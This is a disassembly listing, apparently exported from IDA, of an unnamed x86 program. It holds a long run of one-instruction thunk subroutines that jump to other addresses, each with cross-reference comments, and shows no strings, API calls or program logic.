sub_401B27	proc near		; CODE XREF: sub_431240+Bp
		jmp	sub_4316C0
sub_401B27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B2C	proc near
		jmp	sub_40AF80
sub_401B2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B31	proc near		; CODE XREF: ___:00418D7Bp
					; sub_418F90+28p ...
		jmp	sub_419050
sub_401B31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B36	proc near		; DATA XREF: ___:off_43F1B0o
		jmp	sub_42C7E0
sub_401B36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B3B	proc near		; CODE XREF: ___:00416B7Bp
					; ___:0043B242j ...
		jmp	sub_417AD0
sub_401B3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B40	proc near		; CODE XREF: ___:004087CFp
					; ___:004087F0p ...
		jmp	sub_4076B0
sub_401B40	endp

; ---------------------------------------------------------------------------
		jmp	loc_414BC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B4A	proc near		; CODE XREF: sub_41C710+83p
					; ___:004295EFp
		jmp	sub_41D640
sub_401B4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B4F	proc near		; CODE XREF: sub_41A990+11p
		jmp	sub_41A9C0
sub_401B4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B54	proc near		; CODE XREF: sub_41E760+339p
		jmp	sub_421D10
sub_401B54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B59	proc near		; CODE XREF: sub_414D40+3p
		jmp	sub_414D70
sub_401B59	endp

; ---------------------------------------------------------------------------
		jmp	loc_433F90

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B63	proc near		; CODE XREF: sub_430D90+29p
		jmp	sub_430830
sub_401B63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B68	proc near		; CODE XREF: sub_40FE70+38p
					; ___:0043A458j
		jmp	sub_412C90
sub_401B68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B6D	proc near
		jmp	sub_40D660
sub_401B6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B72	proc near		; CODE XREF: sub_4076B0+3Bp
					; sub_407740+43p
		jmp	sub_40B510
sub_401B72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B77	proc near		; CODE XREF: sub_407320+3p
		jmp	sub_4074F0
sub_401B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B7C	proc near		; CODE XREF: sub_424920+9Dp
					; sub_424920+FBp ...
		jmp	sub_4246D0
sub_401B7C	endp

; ---------------------------------------------------------------------------


loc_401B81:				; DATA XREF: ___:off_43F084o
		jmp	loc_426EC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B86	proc near		; CODE XREF: sub_410030+413p
					; sub_410030+F69p ...
		jmp	sub_40A040
sub_401B86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B8B	proc near		; CODE XREF: ___:00426764p
		jmp	sub_4267D0
sub_401B8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B90	proc near		; CODE XREF: sub_422150+32p
		jmp	sub_422510
sub_401B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B95	proc near		; CODE XREF: sub_41B5B0+A5p
		jmp	sub_41A7D0
sub_401B95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B9A	proc near		; CODE XREF: sub_40C040+23p
					; sub_40C200+11p
		jmp	sub_40C3A0
sub_401B9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B9F	proc near		; CODE XREF: ___:0042CB23p
		jmp	sub_42CB50
sub_401B9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BA4	proc near
		jmp	sub_41E240
sub_401BA4	endp

; ---------------------------------------------------------------------------


loc_401BA9:				; DATA XREF: sub_431240+86o
		jmp	loc_432940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BAE	proc near		; CODE XREF: sub_409610+20p
		jmp	sub_4096E0
sub_401BAE	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BB8	proc near		; DATA XREF: ___:off_43F0A4o
		jmp	sub_40CC90
sub_401BB8	endp

; ---------------------------------------------------------------------------
		jmp	loc_431CC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BC2	proc near		; CODE XREF: sub_421CD0+1Fp
		jmp	sub_4220B0
sub_401BC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BC7	proc near		; CODE XREF: sub_428810+39p
		jmp	sub_4283D0
sub_401BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BCC	proc near		; CODE XREF: sub_415820+5p
					; sub_415A30+6p ...
		jmp	sub_416480
sub_401BCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BD1	proc near		; CODE XREF: sub_4316C0+5Dp
					; sub_432A20+3Ep
		jmp	sub_4317C0
sub_401BD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BD6	proc near		; CODE XREF: ___:00433419p
					; ___:0043343Ap ...
		jmp	sub_431EF0
sub_401BD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BDB	proc near		; CODE XREF: ___:00427092p
		jmp	sub_427C90
sub_401BDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BE0	proc near		; CODE XREF: sub_41B4D0+3p
		jmp	sub_41B500
sub_401BE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BE5	proc near		; CODE XREF: sub_429510+3p
		jmp	sub_429540
sub_401BE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BEA	proc near		; CODE XREF: sub_422B40+924p
					; ___:0042416Ap
		jmp	sub_426BD0
sub_401BEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BEF	proc near		; CODE XREF: sub_42E5B0+18Dp
					; sub_42E5B0+1CDp ...
		jmp	sub_42F2C0
sub_401BEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BF4	proc near		; CODE XREF: ___:0041433Cp
		jmp	sub_414430
sub_401BF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BF9	proc near
		jmp	sub_40C440
sub_401BF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BFE	proc near		; CODE XREF: sub_425100+8Bp
		jmp	sub_424920
sub_401BFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C03	proc near		; CODE XREF: ___:0040B1FEp
					; sub_40B250+34p ...
		jmp	sub_40BEB0
sub_401C03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C08	proc near		; CODE XREF: sub_40B190+5Cp
		jmp	sub_40BD50
sub_401C08	endp

; ---------------------------------------------------------------------------
		jmp	loc_433AB0
; ---------------------------------------------------------------------------
		jmp	loc_432410

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C17	proc near		; CODE XREF: sub_431DC0+20p
					; sub_431EF0+20p ...
		jmp	sub_431980
sub_401C17	endp

; ---------------------------------------------------------------------------
		jmp	loc_430020

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C21	proc near
		jmp	sub_435AA0
sub_401C21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C26	proc near		; CODE XREF: sub_4138B0+84p
					; sub_434D10+3Cp ...
		jmp	sub_434C30
sub_401C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C2B	proc near		; CODE XREF: ___:0042D7C8p
		jmp	sub_42C350
sub_401C2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C30	proc near		; CODE XREF: sub_42BB00+446p
		jmp	sub_42B8E0
sub_401C30	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B720

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C3A	proc near		; CODE XREF: ___:00432546p
					; sub_4344C0+23p
		jmp	sub_432DB0
sub_401C3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C3F	proc near		; DATA XREF: ___:off_43F12Co
		jmp	sub_4292E0
sub_401C3F	endp

; ---------------------------------------------------------------------------
		jmp	loc_41FD80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C49	proc near		; CODE XREF: sub_41B0E0+8p
					; ___:0041B49Dp ...
		jmp	sub_41A110
sub_401C49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C4E	proc near		; CODE XREF: sub_42B3F0+3p
		jmp	sub_42B420
sub_401C4E	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AE80
; ---------------------------------------------------------------------------
		jmp	loc_416A90

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C5D	proc near		; CODE XREF: sub_40BE70+1Fp
		jmp	sub_40BFA0
sub_401C5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C62	proc near		; CODE XREF: sub_415B00+9p
					; sub_415C20+18p
		jmp	sub_4166D0
sub_401C62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C67	proc near		; CODE XREF: sub_418D50+4p
		jmp	sub_419070
sub_401C67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C6C	proc near		; CODE XREF: sub_4073C0+11p
					; ___:004073E7p ...
		jmp	sub_407570
sub_401C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C71	proc near		; CODE XREF: sub_404CC0+111p
					; sub_40D660+42p ...
		jmp	sub_40A2D0
sub_401C71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C76	proc near		; CODE XREF: ___:0041326Ap
					; sub_4132F0+3Cp ...
		jmp	sub_4158D0
sub_401C76	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FCB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C80	proc near		; CODE XREF: sub_4269A0+69p
		jmp	sub_426B10
sub_401C80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C85	proc near		; CODE XREF: sub_40B600+2Fp
					; sub_40B600+6Ep ...
		jmp	sub_40BE40
sub_401C85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C8A	proc near		; CODE XREF: ___:00430078p
					; ___:0043008Dp ...
		jmp	sub_433FB0
sub_401C8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C8F	proc near		; CODE XREF: sub_415450+11p
					; sub_415ED0+1Fp
		jmp	sub_4160C0
sub_401C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C94	proc near		; DATA XREF: ___:0043F0D4o
		jmp	sub_41D930
sub_401C94	endp

; ---------------------------------------------------------------------------
		jmp	loc_419A10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C9E	proc near		; CODE XREF: sub_4073C0+9p
					; sub_418E80+18p
		jmp	sub_407610
sub_401C9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CA3	proc near		; CODE XREF: sub_4132C0+3p
					; ___:00416C3Bp ...
		jmp	sub_4132F0
sub_401CA3	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B8F0
; ---------------------------------------------------------------------------


loc_401CAD:				; DATA XREF: ___:off_43F05Co
		jmp	loc_416D90
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CB7	proc near		; CODE XREF: ___:00416F6Ap
		jmp	sub_4182B0
sub_401CB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CBC	proc near		; CODE XREF: sub_415BA0+Cp
					; sub_415BA0+43p
		jmp	sub_4166A0
sub_401CBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CC1	proc near		; CODE XREF: sub_4096E0+45p
		jmp	sub_4099C0
sub_401CC1	endp

; ---------------------------------------------------------------------------
		jmp	loc_434430
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CD0	proc near		; CODE XREF: sub_410030+3A4p
		jmp	sub_40A0E0
sub_401CD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CD5	proc near		; CODE XREF: sub_4077E0+6C2p
					; ___:00407F49p ...
		jmp	sub_407740
sub_401CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CDA	proc near		; CODE XREF: sub_415500+14p
					; sub_415540+9p ...
		jmp	sub_416190
sub_401CDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CDF	proc near		; CODE XREF: sub_4096E0+144p
		jmp	sub_409A50
sub_401CDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CE4	proc near		; CODE XREF: sub_404690+1C2p
					; sub_404B60+36p ...
		jmp	sub_4134A0
sub_401CE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CE9	proc near		; CODE XREF: sub_4151C0+34p
					; sub_415C20+67p
		jmp	sub_415DC0
sub_401CE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CEE	proc near
		jmp	sub_409B80
sub_401CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CF3	proc near		; DATA XREF: ___:0043F06Co
		jmp	sub_41FD00
sub_401CF3	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F3A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CFD	proc near		; CODE XREF: sub_40BF70+5p
		jmp	sub_40C1D0
sub_401CFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D02	proc near		; CODE XREF: ___:0043242Fp
		jmp	sub_430520
sub_401D02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D07	proc near		; CODE XREF: sub_421E50+11p
					; ___:00421E77p ...
		jmp	sub_422400
sub_401D07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D0C	proc near		; DATA XREF: ___:0043F048o
		jmp	sub_4132C0
sub_401D0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D11	proc near		; CODE XREF: sub_415890+1Fp
		jmp	sub_416220
sub_401D11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D16	proc near		; CODE XREF: sub_40F6D0+1ACp
					; sub_40F6D0+1EDp ...
		jmp	sub_40F660
sub_401D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D1B	proc near		; CODE XREF: sub_413E70+15Cp
		jmp	sub_414160
sub_401D1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D20	proc near		; CODE XREF: sub_404C70+23p
					; sub_410030+13C2p
		jmp	sub_412BF0
sub_401D20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D25	proc near		; CODE XREF: ___:00416F2Fp
		jmp	sub_418150
sub_401D25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D2A	proc near		; CODE XREF: sub_407590+7p
					; sub_40C2E0+7p ...
		jmp	sub_407630
sub_401D2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D2F	proc near		; CODE XREF: sub_40A8F0+1Ap
					; sub_40A9A0+4p ...
		jmp	sub_40A960
sub_401D2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D34	proc near		; CODE XREF: sub_404690+289p
					; sub_404690+2ADp ...
		jmp	sub_40A180
sub_401D34	endp

; ---------------------------------------------------------------------------
		jmp	loc_4305A0
; ---------------------------------------------------------------------------


loc_401D3E:				; DATA XREF: ___:0043F154o
		jmp	loc_4295B0
; ---------------------------------------------------------------------------
		jmp	loc_42F970

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D48	proc near
		jmp	sub_404010
sub_401D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D4D	proc near		; CODE XREF: sub_4120B0+123p
					; sub_4120B0+1E2p
		jmp	sub_412780
sub_401D4D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B570
; ---------------------------------------------------------------------------
		jmp	loc_40B870

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D5C	proc near		; CODE XREF: sub_421D80+5p
		jmp	sub_4222E0
sub_401D5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D61	proc near		; CODE XREF: sub_415F70+5Fp
		jmp	sub_416790
sub_401D61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D66	proc near		; CODE XREF: sub_41D930+2C7p
		jmp	sub_42FD30
sub_401D66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D6B	proc near		; CODE XREF: sub_418CA0+7p
		jmp	sub_418F40
sub_401D6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D70	proc near		; CODE XREF: sub_413740+5Dp
					; sub_413740+9Bp ...
		jmp	sub_415420
sub_401D70	endp

; ---------------------------------------------------------------------------
		jmp	loc_437390

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D7A	proc near		; CODE XREF: sub_415820+14p
					; sub_415860+9p ...
		jmp	sub_4164E0
sub_401D7A	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B960

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D84	proc near		; CODE XREF: sub_4341C0+98p
		jmp	sub_431950
sub_401D84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D89	proc near		; CODE XREF: sub_421C60+14p
					; sub_421CA0+9p ...
		jmp	sub_4222B0
sub_401D89	endp

; ---------------------------------------------------------------------------
		jmp	loc_42DAD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D93	proc near
		jmp	sub_41C490
sub_401D93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D98	proc near		; CODE XREF: sub_418AB0+14p
					; sub_418AF0+9p ...
		jmp	sub_418E20
sub_401D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D9D	proc near		; CODE XREF: sub_413740+53p
					; sub_413740+91p ...
		jmp	sub_415270
sub_401D9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DA2	proc near		; CODE XREF: sub_422B40+56p
		jmp	sub_426B90
sub_401DA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DA7	proc near		; CODE XREF: sub_422B40+18Ap
		jmp	sub_426A90
sub_401DA7	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DB1	proc near		; CODE XREF: sub_429330+81p
		jmp	sub_428DC0
sub_401DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DB6	proc near		; CODE XREF: sub_415770+11p
					; sub_416220+1Fp
		jmp	sub_416410
sub_401DB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DBB	proc near		; CODE XREF: sub_415230+14p
					; sub_415270+9p ...
		jmp	sub_415E40
sub_401DBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DC0	proc near		; CODE XREF: ___:004147E3p
		jmp	sub_4145A0
sub_401DC0	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_425DC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DCF	proc near		; CODE XREF: sub_428260+90p
		jmp	sub_428810
sub_401DCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DD4	proc near		; CODE XREF: ___:0042C468p
		jmp	sub_42C1B0
sub_401DD4	endp

; ---------------------------------------------------------------------------
		jmp	loc_4141F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DDE	proc near		; CODE XREF: sub_434AD0+74p
		jmp	sub_432AE0
sub_401DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DE3	proc near		; CODE XREF: sub_41FB90+1Dp
		jmp	sub_40B150
sub_401DE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DE8	proc near		; CODE XREF: sub_40AAD0+45p
		jmp	sub_40AD50
sub_401DE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DED	proc near		; CODE XREF: ___:0043062Dp
					; ___:00430752p ...
		jmp	sub_432C80
sub_401DED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DF2	proc near		; CODE XREF: ___:00426F24p
		jmp	sub_4281A0
sub_401DF2	endp

; ---------------------------------------------------------------------------
		jmp	loc_432D50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DFC	proc near		; CODE XREF: sub_410030+AE7p
					; sub_410030+E5Dp
		jmp	sub_41EF70
sub_401DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E01	proc near		; CODE XREF: sub_40AD80+Ap
		jmp	sub_40AE70
sub_401E01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E06	proc near		; CODE XREF: ___:00416B3Bp
					; ___:0043B27Aj ...
		jmp	sub_417BE0
sub_401E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E0B	proc near		; CODE XREF: sub_421F80+4p
		jmp	sub_422420
sub_401E0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E10	proc near		; CODE XREF: sub_40C4E0+271p
					; sub_425100+50p ...
		jmp	sub_423760
sub_401E10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E15	proc near		; CODE XREF: ___:0041627Ap
		jmp	sub_416860
sub_401E15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E1A	proc near		; CODE XREF: sub_415DC0+7p
		jmp	sub_4165C0
sub_401E1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E1F	proc near		; CODE XREF: sub_41D930+19Bp
		jmp	sub_42DA80
sub_401E1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E24	proc near		; CODE XREF: sub_404CC0+835p
					; sub_404CC0+B62p ...
		jmp	sub_4129D0
sub_401E24	endp

; ---------------------------------------------------------------------------
		jmp	sub_4132C0
; ---------------------------------------------------------------------------
		jmp	sub_429510

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E33	proc near		; CODE XREF: sub_415490+34p
					; sub_415F70+67p
		jmp	sub_416110
sub_401E33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E38	proc near		; CODE XREF: sub_413740+31p
					; sub_4145A0+2Dp
		jmp	sub_4153B0
sub_401E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E3D	proc near		; CODE XREF: sub_40CC90+1F1p
					; ___:00423FBFp ...
		jmp	sub_426930
sub_401E3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E42	proc near		; CODE XREF: sub_4159F0+3p
		jmp	sub_4164C0
sub_401E42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E47	proc near		; CODE XREF: sub_404690+97p
					; sub_404690+107p ...
		jmp	sub_40A4A0
sub_401E47	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_426020

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E56	proc near		; CODE XREF: ___:00423DFAp
		jmp	sub_423950
sub_401E56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E5B	proc near		; CODE XREF: ___:00421E0Ap
		jmp	sub_422310
sub_401E5B	endp

; ---------------------------------------------------------------------------
		jmp	loc_416E30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E65	proc near
		jmp	sub_4368D0
sub_401E65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E6A	proc near		; DATA XREF: ___:off_43F098o
		jmp	sub_4369E0
sub_401E6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E6F	proc near		; CODE XREF: ___:004337FFp
		jmp	sub_4310A0
sub_401E6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E74	proc near		; CODE XREF: sub_4166A0+5p
		jmp	sub_4168F0
sub_401E74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E79	proc near		; CODE XREF: sub_404CC0+28Dp
					; sub_41D930+6A3p
		jmp	sub_40DC20
sub_401E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E7E	proc near		; CODE XREF: sub_422510+5Fp
		jmp	sub_422700
sub_401E7E	endp

; ---------------------------------------------------------------------------
		jmp	loc_419F90

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E88	proc near		; CODE XREF: sub_40F6D0+22p
					; sub_411930+1Dp ...
		jmp	sub_40AEA0
sub_401E88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E8D	proc near		; CODE XREF: sub_40AAD0+112p
					; sub_40AAD0+153p
		jmp	sub_40ADB0
sub_401E8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E92	proc near		; DATA XREF: ___:off_43F0C0o
		jmp	sub_41B110
sub_401E92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E97	proc near		; CODE XREF: sub_4156D0+3p
		jmp	sub_416170
sub_401E97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E9C	proc near		; CODE XREF: sub_427C50+1Ap
		jmp	sub_427B10
sub_401E9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EA1	proc near		; CODE XREF: ___:00416C0Bp
					; ___:0043B1C4j ...
		jmp	sub_4176E0
sub_401EA1	endp

; ---------------------------------------------------------------------------
		jmp	loc_4331B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EAB	proc near		; CODE XREF: sub_4201F0+3Ap
		jmp	sub_420400
sub_401EAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EB0	proc near		; DATA XREF: ___:0043F114o
		jmp	sub_428260
sub_401EB0	endp

; ---------------------------------------------------------------------------
		jmp	loc_433AF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EBA	proc near		; CODE XREF: sub_416410+4p
		jmp	sub_416810
sub_401EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EBF	proc near		; CODE XREF: sub_415920+5Bp
					; sub_4162C0+11p ...
		jmp	sub_416510
sub_401EBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EC4	proc near		; CODE XREF: sub_415740+5p
		jmp	sub_4161F0
sub_401EC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EC9	proc near		; CODE XREF: sub_424920+151p
		jmp	sub_4248E0
sub_401EC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ECE	proc near		; CODE XREF: ___:00416BABp
					; ___:0043B218j ...
		jmp	sub_417930
sub_401ECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ED3	proc near		; CODE XREF: sub_4153B0+3p
		jmp	sub_415E20
sub_401ED3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401ED8	proc near		; CODE XREF: sub_415100+11p
					; sub_415140+13p ...
		jmp	sub_415D70
sub_401ED8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EDD	proc near		; CODE XREF: sub_421A60+14p
					; sub_421AA0+9p ...
		jmp	sub_422050
sub_401EDD	endp

; ---------------------------------------------------------------------------
		jmp	loc_418960
; ---------------------------------------------------------------------------
		jmp	loc_41C350

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EEC	proc near		; CODE XREF: sub_418F90+18p
					; sub_421DB0+9p
		jmp	sub_419150
